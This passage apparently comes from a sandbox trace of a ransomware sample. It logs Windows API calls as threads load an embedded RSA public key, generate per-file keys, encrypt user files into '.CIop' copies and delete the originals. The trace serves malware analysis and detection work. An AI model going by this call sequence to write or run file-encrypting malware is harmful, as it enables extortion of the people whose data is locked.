/yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0101.842] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0101.842] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x2f04248) returned 1 [0101.844] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f04248, dwCertEncodingType=0x1, pInfo=0x64b520, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x649078) returned 1 [0101.845] CryptEncrypt (in: hKey=0x649078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0101.845] CryptEncrypt (in: hKey=0x649078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f040b0*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f040b0*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0101.845] WriteFile (in: hFile=0x5e4, lpBuffer=0x2f040b0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f040b0*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0101.845] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.845] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.845] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.845] CloseHandle (hObject=0x5e4) returned 1 [0101.863] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xj7qoX0- 7l3FO.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\xj7qox0- 7l3fo.mkv")) returned 0 Thread: id = 179 os_tid = 0xc64 [0101.703] lstrcpyA (in: lpString1=0x357e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.703] lstrcpyW (in: lpString1=0x357f368, lpString2="vxT7Wz-UZ XFfNDp.png" | out: lpString1="vxT7Wz-UZ XFfNDp.png") returned="vxT7Wz-UZ XFfNDp.png" [0101.703] lstrcpyW (in: lpString1=0x357f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Recent\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Recent\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Recent\\" [0101.703] SetErrorMode (uMode=0x1) returned 0x1 [0101.703] wsprintfW (in: param_1=0x357eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Recent\\vxT7Wz-UZ XFfNDp.png") returned 53 [0101.703] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Recent\\vxT7Wz-UZ XFfNDp.png", dwFileAttributes=0x20) returned 0 [0101.704] StrStrW (lpFirst="vxT7Wz-UZ XFfNDp.png", lpSrch=".CIop") returned 0x0 [0101.704] wsprintfW (in: param_1=0x357e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Recent\\vxT7Wz-UZ XFfNDp.png.CIop") returned 58 [0101.704] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Recent\\vxT7Wz-UZ XFfNDp.png" (normalized: "c:\\users\\ciihmnxmn6ps\\recent\\vxt7wz-uz xffndp.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 180 os_tid = 0xc68 [0101.779] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.779] lstrcpyW (in: lpString1=0x312f368, lpString2="Everywhere.search-ms" | out: lpString1="Everywhere.search-ms") returned="Everywhere.search-ms" [0101.779] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0101.779] SetErrorMode (uMode=0x1) returned 0x1 [0101.779] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms") returned 55 [0101.779] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms", dwFileAttributes=0x20) returned 1 [0101.780] StrStrW (lpFirst="Everywhere.search-ms", lpSrch=".CIop") returned 0x0 [0101.780] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms.CIop") returned 60 [0101.780] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5dc [0101.780] ReadFile (in: hFile=0x5dc, lpBuffer=0x692c40, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x692c40*, lpNumberOfBytesRead=0x312e5e8*=0xf8, lpOverlapped=0x0) returned 1 [0101.781] CloseHandle (hObject=0x5dc) returned 1 [0101.781] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\everywhere.search-ms")) returned 1 [0101.782] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0101.782] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x32b0000 [0101.782] SetErrorMode (uMode=0x1) returned 0x1 [0101.782] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f04df8) returned 1 [0101.794] CryptGenKey (in: hProv=0x2f04df8, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x6490f8) returned 1 [0101.820] CryptExportKey (in: hKey=0x6490f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0101.820] CryptExportKey (in: hKey=0x6490f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x32b0000, pdwDataLen=0x312e5ec | out: pbData=0x32b0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0101.820] CryptDestroyKey (hKey=0x6490f8) returned 1 [0101.821] CryptReleaseContext (hProv=0x2f04df8, dwFlags=0x0) returned 1 [0101.821] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\everywhere.search-ms.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5dc [0101.821] WriteFile (in: hFile=0x5dc, lpBuffer=0x692c40*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x692c40*, lpNumberOfBytesWritten=0x312e5d8*=0xf8, lpOverlapped=0x0) returned 1 [0101.822] SetFilePointer (in: hFile=0x5dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf8 [0101.822] WriteFile (in: hFile=0x5dc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0101.822] SetFilePointer (in: hFile=0x5dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xff [0101.822] SetErrorMode (uMode=0x1) returned 0x1 [0101.822] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0101.822] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0101.822] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0101.822] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f04600) returned 1 [0101.828] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f04600, dwCertEncodingType=0x1, pInfo=0x64b450, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x648ef8) returned 1 [0101.828] CryptEncrypt (in: hKey=0x648ef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0101.828] CryptEncrypt (in: hKey=0x648ef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f04bd8*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f04bd8*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0101.828] WriteFile (in: hFile=0x5dc, lpBuffer=0x2f04bd8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04bd8*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0101.828] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.828] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.828] VirtualFree (lpAddress=0x32b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.828] CloseHandle (hObject=0x5dc) returned 1 [0101.829] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\everywhere.search-ms")) returned 0 Thread: id = 181 os_tid = 0xc7c [0101.908] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.908] lstrcpyW (in: lpString1=0x312f368, lpString2="Indexed Locations.search-ms" | out: lpString1="Indexed Locations.search-ms") returned="Indexed Locations.search-ms" [0101.908] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\" [0101.908] SetErrorMode (uMode=0x1) returned 0x1 [0101.908] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms") returned 62 [0101.908] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x20) returned 1 [0101.908] StrStrW (lpFirst="Indexed Locations.search-ms", lpSrch=".CIop") returned 0x0 [0101.908] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms.CIop") returned 67 [0101.908] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d8 [0101.909] ReadFile (in: hFile=0x5d8, lpBuffer=0x691140, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x691140*, lpNumberOfBytesRead=0x312e5e8*=0xf8, lpOverlapped=0x0) returned 1 [0101.909] CloseHandle (hObject=0x5d8) returned 1 [0101.909] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\indexed locations.search-ms")) returned 1 [0101.910] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0101.910] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0101.911] SetErrorMode (uMode=0x1) returned 0x1 [0101.911] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f04e80) returned 1 [0101.943] CryptGenKey (in: hProv=0x2f04e80, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x6490f8) returned 1 [0101.985] CryptExportKey (in: hKey=0x6490f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0101.985] CryptExportKey (in: hKey=0x6490f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x312e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0101.985] CryptDestroyKey (hKey=0x6490f8) returned 1 [0101.986] CryptReleaseContext (hProv=0x2f04e80, dwFlags=0x0) returned 1 [0101.986] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\indexed locations.search-ms.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5dc [0101.986] WriteFile (in: hFile=0x5dc, lpBuffer=0x691140*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x691140*, lpNumberOfBytesWritten=0x312e5d8*=0xf8, lpOverlapped=0x0) returned 1 [0101.987] SetFilePointer (in: hFile=0x5dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf8 [0101.987] WriteFile (in: hFile=0x5dc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0101.987] SetFilePointer (in: hFile=0x5dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xff [0101.987] SetErrorMode (uMode=0x1) returned 0x1 [0101.987] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0101.987] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0101.987] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0101.987] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f04df8) returned 1 [0101.990] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f04df8, dwCertEncodingType=0x1, pInfo=0x64b1e0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x6487b8) returned 1 [0101.990] CryptEncrypt (in: hKey=0x6487b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0101.990] CryptEncrypt (in: hKey=0x6487b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f04e80*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f04e80*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0101.990] WriteFile (in: hFile=0x5dc, lpBuffer=0x2f04e80*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04e80*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0101.990] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.990] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.990] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.990] CloseHandle (hObject=0x5dc) returned 1 [0101.991] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\ciihmnxmn6ps\\searches\\indexed locations.search-ms")) returned 0 Thread: id = 182 os_tid = 0xc60 [0101.992] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.992] lstrcpyW (in: lpString1=0x326f368, lpString2="Y_LI3 4-qP.m4a" | out: lpString1="Y_LI3 4-qP.m4a") returned="Y_LI3 4-qP.m4a" [0101.992] lstrcpyW (in: lpString1=0x326f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0101.992] SetErrorMode (uMode=0x1) returned 0x1 [0101.992] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y_LI3 4-qP.m4a") returned 44 [0101.992] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y_LI3 4-qP.m4a", dwFileAttributes=0x20) returned 1 [0101.993] StrStrW (lpFirst="Y_LI3 4-qP.m4a", lpSrch=".CIop") returned 0x0 [0101.993] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y_LI3 4-qP.m4a.CIop") returned 49 [0101.993] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y_LI3 4-qP.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y_li3 4-qp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0101.994] ReadFile (in: hFile=0x5e4, lpBuffer=0x2f04f88, nNumberOfBytesToRead=0x11eb5, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesRead=0x326e5e8*=0x11eb5, lpOverlapped=0x0) returned 